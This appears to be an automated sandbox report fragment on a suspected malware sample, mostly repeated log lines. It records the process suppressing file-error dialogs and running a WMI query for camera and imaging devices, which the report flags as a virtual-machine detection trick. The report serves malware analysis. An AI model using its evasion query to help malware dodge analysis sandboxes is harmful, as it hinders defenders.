Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
